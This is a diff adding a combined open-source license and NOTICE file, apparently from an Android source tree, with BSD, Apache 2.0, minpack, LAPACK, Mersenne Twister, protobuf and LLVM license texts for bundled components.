+Copyright 1993, 2002, 2006 David Rowe
+Copyright 2003 		EpicGames
+Copyright 1992-1994	Jutta Degener, Carsten Bormann
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions
+are met:
+
+- Redistributions of source code must retain the above copyright
+notice, this list of conditions and the following disclaimer.
+
+- Redistributions in binary form must reproduce the above copyright
+notice, this list of conditions and the following disclaimer in the
+documentation and/or other materials provided with the distribution.
+
+- Neither the name of the Xiph.org Foundation nor the names of its
+contributors may be used to endorse or promote products derived from
+this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE FOUNDATION OR
+CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+======================================================================
+external/apache-commons-math/LICENSE
+
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright [yyyy] [name of copyright owner]
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+
+
+APACHE COMMONS MATH DERIVATIVE WORKS: 
+
+The Apache commons-math library includes a number of subcomponents
+whose implementation is derived from original sources written
+in C or Fortran.  License terms of the original sources
+are reproduced below.
+
+===============================================================================
+For the lmder, lmpar and qrsolv Fortran routine from minpack and translated in
+the LevenbergMarquardtOptimizer class in package
+org.apache.commons.math.optimization.general 
+Original source copyright and license statement:
+
+Minpack Copyright Notice (1999) University of Chicago.  All rights reserved
+
+Redistribution and use in source and binary forms, with or
+without modification, are permitted provided that the
+following conditions are met:
+
+1. Redistributions of source code must retain the above
+copyright notice, this list of conditions and the following
+disclaimer.
+
+2. Redistributions in binary form must reproduce the above
+copyright notice, this list of conditions and the following
+disclaimer in the documentation and/or other materials
+provided with the distribution.
+
+3. The end-user documentation included with the
+redistribution, if any, must include the following
+acknowledgment:
+
+   "This product includes software developed by the
+   University of Chicago, as Operator of Argonne National
+   Laboratory.
+
+Alternately, this acknowledgment may appear in the software
+itself, if and wherever such third-party acknowledgments
+normally appear.
+
+4. WARRANTY DISCLAIMER. THE SOFTWARE IS SUPPLIED "AS IS"
+WITHOUT WARRANTY OF ANY KIND. THE COPYRIGHT HOLDER, THE
+UNITED STATES, THE UNITED STATES DEPARTMENT OF ENERGY, AND
+THEIR EMPLOYEES: (1) DISCLAIM ANY WARRANTIES, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO ANY IMPLIED WARRANTIES
+OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE
+OR NON-INFRINGEMENT, (2) DO NOT ASSUME ANY LEGAL LIABILITY
+OR RESPONSIBILITY FOR THE ACCURACY, COMPLETENESS, OR
+USEFULNESS OF THE SOFTWARE, (3) DO NOT REPRESENT THAT USE OF
+THE SOFTWARE WOULD NOT INFRINGE PRIVATELY OWNED RIGHTS, (4)
+DO NOT WARRANT THAT THE SOFTWARE WILL FUNCTION
+UNINTERRUPTED, THAT IT IS ERROR-FREE OR THAT ANY ERRORS WILL
+BE CORRECTED.
+
+5. LIMITATION OF LIABILITY. IN NO EVENT WILL THE COPYRIGHT
+HOLDER, THE UNITED STATES, THE UNITED STATES DEPARTMENT OF
+ENERGY, OR THEIR EMPLOYEES: BE LIABLE FOR ANY INDIRECT,
+INCIDENTAL, CONSEQUENTIAL, SPECIAL OR PUNITIVE DAMAGES OF
+ANY KIND OR NATURE, INCLUDING BUT NOT LIMITED TO LOSS OF
+PROFITS OR LOSS OF DATA, FOR ANY REASON WHATSOEVER, WHETHER
+SUCH LIABILITY IS ASSERTED ON THE BASIS OF CONTRACT, TORT
+(INCLUDING NEGLIGENCE OR STRICT LIABILITY), OR OTHERWISE,
+EVEN IF ANY OF SAID PARTIES HAS BEEN WARNED OF THE
+POSSIBILITY OF SUCH LOSS OR DAMAGES.
+===============================================================================
+
+Copyright and license statement for the odex Fortran routine developed by
+E. Hairer and G. Wanner and translated in GraggBulirschStoerIntegrator class
+in package org.apache.commons.math.ode.nonstiff:
+
+
+Copyright (c) 2004, Ernst Hairer
+
+Redistribution and use in source and binary forms, with or without 
+modification, are permitted provided that the following conditions are 
+met:
+
+- Redistributions of source code must retain the above copyright 
+notice, this list of conditions and the following disclaimer.
+
+- Redistributions in binary form must reproduce the above copyright 
+notice, this list of conditions and the following disclaimer in the 
+documentation and/or other materials provided with the distribution.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS 
+IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED 
+TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A 
+PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR 
+CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 
+EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, 
+PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR 
+PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF 
+LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING 
+NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 
+SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+===============================================================================
+
+Copyright and license statement for the original lapack fortran routines
+translated in EigenDecompositionImpl class in package
+org.apache.commons.math.linear:
+
+Copyright (c) 1992-2008 The University of Tennessee.  All rights reserved.
+
+$COPYRIGHT$
+
+Additional copyrights may follow
+
+$HEADER$
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+- Redistributions of source code must retain the above copyright
+  notice, this list of conditions and the following disclaimer. 
+  
+- Redistributions in binary form must reproduce the above copyright
+  notice, this list of conditions and the following disclaimer listed
+  in this license in the documentation and/or other materials
+  provided with the distribution.
+  
+- Neither the name of the copyright holders nor the names of its
+  contributors may be used to endorse or promote products derived from
+  this software without specific prior written permission.
+  
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT  
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT 
+OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT  
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+===============================================================================
+
+Copyright and license statement for the original Mersenne twister C
+routines translated in MersenneTwister class in package 
+org.apache.commons.math.random:
+
+   Copyright (C) 1997 - 2002, Makoto Matsumoto and Takuji Nishimura,
+   All rights reserved.                          
+
+   Redistribution and use in source and binary forms, with or without
+   modification, are permitted provided that the following conditions
+   are met:
+
+     1. Redistributions of source code must retain the above copyright
+        notice, this list of conditions and the following disclaimer.
+
+     2. Redistributions in binary form must reproduce the above copyright
+        notice, this list of conditions and the following disclaimer in the
+        documentation and/or other materials provided with the distribution.
+
+     3. The names of its contributors may not be used to endorse or promote 
+        products derived from this software without specific prior written 
+        permission.
+
+   THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+   "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+   LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+   A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+   CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+   EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+   PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+   PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+   LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+   NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+   SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+======================================================================
+external/protobuf/LICENSE
+
+Copyright 2008 Google Inc.  All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+    * Redistributions of source code must retain the above copyright
+notice, this list of conditions and the following disclaimer.
+    * Redistributions in binary form must reproduce the above
+copyright notice, this list of conditions and the following disclaimer
+in the documentation and/or other materials provided with the
+distribution.
+    * Neither the name of Google Inc. nor the names of its
+contributors may be used to endorse or promote products derived from
+this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+Code generated by the Protocol Buffer compiler is owned by the owner
+of the input file used when generating it.  This code is not
+standalone and requires a support library to be linked with it.  This
+support library is itself covered by the above license.
+
+======================================================================
+external/clang/NOTICE
+
+==============================================================================
+LLVM Release License
+==============================================================================
+University of Illinois/NCSA
+Open Source License
+
+Copyright (c) 2007-2014 University of Illinois at Urbana-Champaign.
+All rights reserved.
+
+Developed by:
+
+    LLVM Team
+
+    University of Illinois at Urbana-Champaign
+
+    http://llvm.org
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of
+this software and associated documentation files (the "Software"), to deal with
+the Software without restriction, including without limitation the rights to
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+of the Software, and to permit persons to whom the Software is furnished to do
+so, subject to the following conditions:
+
+    * Redistributions of source code must retain the above copyright notice,
+      this list of conditions and the following disclaimers.
+
+    * Redistributions in binary form must reproduce the above copyright notice,
+      this list of conditions and the following disclaimers in the
+      documentation and/or other materials provided with the distribution.
+
+    * Neither the names of the LLVM Team, University of Illinois at
+      Urbana-Champaign, nor the names of its contributors may be used to
+      endorse or promote products derived from this Software without specific
+      prior written permission.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE
+CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE
+SOFTWARE.
+
+==============================================================================
+The LLVM software contains code written by third parties.  Such software will
+have its own individual LICENSE.TXT file in the directory in which it appears.
+This file will describe the copyrights, license, and restrictions which apply
+to that code.
+
+The disclaimer of warranty in the University of Illinois Open Source License
+applies to all code in the LLVM Distribution, and nothing in any of the
+other licenses gives permission to use the names of the LLVM Team or the
+University of Illinois to endorse or promote products derived from this
+Software.
+
+The following pieces of software have additional or alternate copyrights,
+licenses, and/or restrictions:
+
+Program             Directory
+-------             ---------
+<none yet>
+
+
+======================================================================
+system/security/NOTICE
+
+
+   Copyright (c) 2008-2015, The Android Open Source Project
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+
+======================================================================
+build/blueprint/LICENSE
+external/auto/LICENSE
+external/bcc/LICENSE
+external/conscrypt/LICENSE
+external/dexmaker/NOTICE
+external/escapevelocity/LICENSE
+external/guava/NOTICE
+external/guice/NOTICE
+external/jarjar/NOTICE
+external/javapoet/LICENSE
+external/libphonenumber/NOTICE
+external/objenesis/NOTICE
+external/oboe/LICENSE
+external/oboe/NOTICE
+external/rappor/LICENSE
+external/turbine/LICENSE
+hardware/interfaces/NOTICE
+system/bpf/NOTICE
+system/bt/NOTICE
+system/connectivity/wificond/NOTICE
+system/libhidl/NOTICE
+system/libhwbinder/NOTICE
+system/libvintf/NOTICE
+system/media/NOTICE
+system/netd/NOTICE
+system/tools/hidl/NOTICE
+system/update_engine/NOTICE
+
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
